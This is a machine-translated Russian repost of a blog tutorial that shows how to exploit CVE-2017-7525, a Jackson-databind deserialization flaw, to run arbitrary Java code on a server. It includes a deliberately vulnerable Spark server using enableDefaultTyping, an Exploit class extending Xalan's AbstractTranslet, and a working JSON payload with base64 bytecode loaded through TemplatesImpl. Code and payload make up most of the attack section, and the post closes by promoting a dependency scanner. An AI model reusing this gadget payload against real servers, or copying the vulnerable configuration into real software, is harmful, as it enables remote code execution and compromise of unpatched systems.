Рубрики
Uncategorized

Выполните код Java на удаленном сервере, используя json

Насколько трудно использовать уязвимость в общей библиотеке Java, чтобы удаленно выполнить код Java на удаленном сервере и успешно взять на себя управление? Не так много! Теги от кибербезопасности, Opensource, DevOps, Java.

Абстрактный.

Насколько трудно использовать уязвимость в общей библиотеке Java, чтобы удаленно выполнить код Java на удаленном сервере и успешно взять на себя управление? Не так много, правда. В этой статье мы продемонстрируем, как это сделать, используя CVE-2017-7525 , хорошо известная уязвимость в Джексон-Данс? , широко используемая библиотека для сериализации и десериализации JSON, также часть Спринг-ботинок куча. Весь код, используемый здесь Доступно на Github Отказ

Код образца.

Как мы все знаем, задача сериализации и десериализации JSON-сообщений является очень распространенной задачей, особенно в современных приложениях на основе Microvies, основанные на отдыхе: почти каждый раз, когда называется API, сообщение JSON отправляется на сервер, чтобы быть преобразован в Java объект. Из-за Поток десериализации уязвимости В Jackson-Data Data Data теперь можно написать простые эксплойты, чтобы получить доступ к непастями серверами, когда Полиморфный тип обработки включен.

Чтобы четко объяснить концепции, мы представляем здесь простой сервер, который обрабатывает продукты с двумя отдыхающими API, один, чтобы получить список продуктов и один, чтобы добавить новый продукт. Обратите внимание, что это всего лишь образец: мы просто хотим предоставить вам простой и понятный кусок кода, и ни в коем случае не может быть классифицирован (мы надеемся!) Как код производства.

Образец нашего Продукт Класс, он имеет некоторую основную информацию о продукте:

public class Product {

    private int id;
    private String name;
    private String description;
    private Object data; 

    protected Product() {
    }

    [...]

Наше ProductSatabase класс, просто прославленный хесмап

public class ProductsDatabase {

  private Map products = new HashMap<>();
  private AtomicInteger idGenerator = new AtomicInteger(0);

  public ProductsDatabase() {
     add(new Product(0,"apple", "Real apple from Italy", randomData()));
     add(new Product(0,"orange", "Real orange from Italy", randomData()));
     add(new Product(0,"kiwi", "Real kiwi from Italy", randomData()));
  }

  public Collection list() {
    return Collections.unmodifiableCollection(products.values());
  }

  public Product add(Product newProduct) {
    Integer newId = idGenerator.incrementAndGet();
    Product product = newProduct.duplicate(newId);
    products.put(newId.toString(), product);
    return product;
  }

  [...]
}

Наше простой сервер , написано с Sparkjava :

public class Main {

  private static ProductsDatabase products = new ProductsDatabase();
  private static ObjectMapper deserializer = new ObjectMapper().enableDefaultTyping();
  private static ObjectMapper serializer = new ObjectMapper();

  public static void main(String[] args) {

    port(8888);

    // GET list all products
    get("/products", (request, response) -> {
      Collection res = products.list();
      return serializer.writeValueAsString(res);
    });

    // POST add new product
    post("/products", (request, response) -> {
      Product received = deserializer.readValue(request.body(), Product.class);
      products.add(received);
      response.status(201);
    });
  }
  [...]
}

Вы можете добавить продукт в базу данных с помощью простого вызова скручиваемости с корпусом JSON, содержащий новые данные продукта:

curl -i -X POST -d '{"name":"melon","description":"Real melon from Italy", "data":["java.util.HashMap",{"cost":2,"color":"yellow"}]}' http://localhost:8888/products

Эксплойта.

Для того, чтобы использовать уязвимость, нам нужно иметь вектор. По этому случаю мы решили использовать Apache Xalan , общая библиотека XSLT Также включен в JDK (который до версии 8U45 можно использовать в качестве вектора, таким же образом используется XALAN здесь). Обратите внимание, что существует множество других вариантов, доступных в качестве векторов атаки, но ради простоты мы будем сосредоточиться здесь на очень конкретном.

Мы будем использовать определенный класс от XALAN, который способен десетировать файл классов кодированного класса из XML и динамически создавать экземпляр такого класса: мы будем редить сообщение JSON, которое будет содержать закодированный класс нашего эксплуатация класса здесь:

public class Exploit extends org.apache.xalan.xsltc.runtime.AbstractTranslet {

  public Exploit() throws Exception {
    System.err.println("Your server has been compromised!");
  }

  @Override
  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  }

  @Override
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  }
}

Нам просто нужно компилировать этот исходный код в файле .class закодировал его в базе64 и подготовить наш Злое JSON MESSION :

{
  "name": "fakeapple",
  "description": "Fake fruit from UK",
  "data": ["org.apache.xalan.xsltc.trax.TemplatesImpl",
  {
    "transletBytecodes" : [ "yv66vgAAADQALgcAAgEAB0V4cGxvaXQHAAQBAC9vcmcvYXBhY2hlL3hhbGFuL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYJAA4AEAcADwEAEGphdmEvbGFuZy9TeXN0ZW0MABEAEgEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwgAFAEAIVlvdXIgc2VydmVyIGhhcyBiZWVuIGNvbXByb21pc2VkIQoAFgAYBwAXAQATamF2YS9pby9QcmludFN0cmVhbQwAGQAaAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAlMRXhwbG9pdDsBAAl0cmFuc2Zvcm0BAFAoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO1tMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAIgEAKG9yZy9hcGFjaGUveGFsYW4veHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEAHExvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAMVtMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHMoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO0xvcmcvYXBhY2hlL3htbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBACRMb3JnL2FwYWNoZS94bWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQAwTG9yZy9hcGFjaGUveG1sL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEV4cGxvaXQuamF2YQAhAAEAAwAAAAAAAwABAAUABgACAAcAAAAEAAEACAAKAAAAOwACAAEAAAANKrcAC7IADRITtgAVsQAAAAIAGwAAAAoAAgAAAAgABAAJABwAAAAMAAEAAAANAB0AHgAAAAEAHwAgAAIABwAAAAQAAQAhAAoAAAA/AAAAAwAAAAGxAAAAAgAbAAAABgABAAAADQAcAAAAIAADAAAAAQAdAB4AAAAAAAEAIwAkAAEAAAABACUAJgACAAEAHwAnAAIABwAAAAQAAQAhAAoAAABJAAAABAAAAAGxAAAAAgAbAAAABgABAAAAEgAcAAAAKgAEAAAAAQAdAB4AAAAAAAEAIwAkAAEAAAABACgAKQACAAAAAQAqACsAAwABACwAAAACAC0=" ],
    "transletName": "oops!",
    "outputProperties": {}
   }
 }

После отправки сообщения на сервер Как нормальный «Добавить продукт» запрос , кодированный класс будет создан классом CHALAN TemplateSimpl для того, чтобы он заполнил значение поля выходаProPerties: в качестве выполнения кода конструктора выполняется, а сервер скомпрометирован. Да, у вас могут быть исключения на сервере, но уже слишком поздно.

Выводы

Это всего лишь один пример среди сотен подвигов, которые в настоящее время возможные, использующие публичные уязвимости на различных библиотеках открытых исходных источников и по этой причине, чрезвычайно важно, чтобы вы добавили в ваш сборнический трубопроводный сканер, способный обнаруживать и блокировать сборку, если такая ситуация обнаружена. Мы будем приглашать вас использовать нашу простой клиент командной строки в Meterian.io и избежать будущих неприятных сюрпризов. Вы не хотите быть Следующая Equifax Отказ

Вы можете связаться со мной в Meterian.io Действительно

Отказ от ответственности: Обратите внимание, что вся эта информация публично доступна в Интернете. Это просто сводный пост от практикующего кибербезопасности и ничего другого. Предоставляемый код предназначен только для исследовательских целей. Эта работа лицензирована под Creative Commons Attribution — NonCommercial 4.0 Международная лицензия .

Оригинал: «https://dev.to/bbossola/execute-java-code-on-a-remote-server-using-json-2nod»